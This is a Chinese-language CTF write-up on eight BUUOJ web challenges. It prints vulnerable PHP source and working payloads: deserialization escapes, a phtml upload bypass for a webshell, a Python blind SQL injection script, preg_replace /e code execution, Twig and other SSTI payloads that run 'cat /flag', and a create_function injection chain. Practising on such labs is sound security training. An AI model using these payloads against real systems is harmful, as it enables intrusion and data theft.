BUUOJ 刷题记录(二)

文章目录

  • web
    • [安洵杯 2019]easy_serialize_php
    • [ACTF2020 新生赛]Upload
    • [CISCN2019 总决赛 Day2 Web1]Easyweb
    • [BJDCTF2020]Mark loves cat
    • [BJDCTF2020]ZJCTF,不过如此
    • [BJDCTF2020]The mystery of ip
    • [BJDCTF2020]Cookie is so stable
    • [BJDCTF2020]EzPHP

web

[安洵杯 2019]easy_serialize_php

  • 打开页面后查看源码


$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo 'source_code';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
  • 传入f=phpinfo,发现flag相关线索auto_append_file d0g3_f1ag.php
  • 传入show_image,会把$_SESSION[img]中的东西base64解码然后显示出来
  • 但是对GET传入的img_path进行了处理,所以不能直接利用
  • 题目里有extract($_POST);,存在变量覆盖
  • 可以控制session,进行反序列化来获取flag
  • 因为在filter函数中会把flag和php替换为空,且是先序列化再过滤
  • 可以通过这一点来覆盖img_path
  • 直接构造payload读取d0g3_f1ag.php:_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 读得源码



$flag = 'flag in /d0g3_fllllllag';

?>
  • 再读取/d0g3_fllllllag即可

[ACTF2020 新生赛]Upload

  • 传个马,bp拦一下
  • 发现过滤了php
  • 发现是用phtml绕过
  • 成功传马,连接即可

[CISCN2019 总决赛 Day2 Web1]Easyweb

  • 扫描一波,发现了robots.txt
  • 发现了敏感信息泄露
  • 图片的url是image.php?id=1,猜测存在sql注入,看一下备份
  • 发现源码
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id); //转义
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
  • 发现是存在sql注入的,且过滤了',所以我们用\0转义单引号,输入\0,经过addslashes函数会先变成\\0,然后经过str_replace函数,会变成\,可以转义id后面的引号,构造成select * from images where id='\' or path=' or 1=1#
  • 编写盲注脚本
import  requests

re1 = requests.session()
url = "http://1247dad7-f45e-43b0-93f5-4c3fbf890b7c.node3.buuoj.cn/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
    l = 32
    r = 130
    mid = (l + r)>>1
    while(l<r):
        payloads = payload.format(i,mid)
        # print(url+payloads)
        html = re1.get(url+payloads)
        if "JFIF" in html.text:
            l = mid +1
        else:
            r = mid
        mid = (l + r)>>1
    result+=chr(mid)
    print(result)
  • 爆出用户名和密码admin a2869e6057728e5dbb5d
  • 登陆上之后,是一个传文件的
  • bp抓一下,发现返回一个.log.php目录,访问一下,如下内容User admin uploaded file 1.png. User admin uploaded file 1.png. User admin uploaded file 1.png.,记录了文件名,所以可以修改文件名上马,这里用的是php短标签,传入filename=
  • 连接木马getflag

[BJDCTF2020]Mark loves cat

  • 扫到了.git
  • 获取到index.php的源码


include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;
  • 审计一下
  • 构造payload:GET:yds=flag POST:$flag=flag

[BJDCTF2020]ZJCTF,不过如此

  • 审计源码


error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
  • get方式提交text和file

  • text可以使用伪协议构造出来等于I have a dream

  • file中不能有flag

  • 构造text=data:text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

  • 读得next.php的源码


$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

  • 用preg_replace的/e模式进行代码执行
  • 构造payloadnext.php?\S*=${getflag()}&cmd=system("cat /flag");

[BJDCTF2020]The mystery of ip

  • 构造XFF为{{system("cat /flag")}}获得flag

[BJDCTF2020]Cookie is so stable

  • 也是ssti
  • 是*wig模板
  • 构造payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};

[BJDCTF2020]EzPHP

  • 读取真正的界面1nD3x.php

highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
"
; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!
"
; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"
); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?
"
; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); } if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?>
  • 代码很长

  • 首先是对$_SERVER[‘QUERY_STRING’]进行了限值,可以用urlencode绕过

  • 绕过preg_match('/^aqua_is_cute$/',在debu后加上%0a,因为preg_match只匹配第一行

  • file_get_contents是用data://协议或者php://input

  • sha1()使用数组绕过

  • 当时做题时是非预期做的,再复现的时候忘了怎么做的了,还好Y1NG师傅当时把我的payload写到博客里了,链接

  • 我的payload1nD3x.php?zuishuai=y1ngzuishuai &y1ng[]=111&passwd[]=222&passwd[]=222&flag[arg]=}var_dump(require(end(pos(get_defined_vars()))));//&flag[code]=create_function&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai&rdd=php://filter/convert.base64-encode/resource=1flag.php

你可能感兴趣的:(CTF)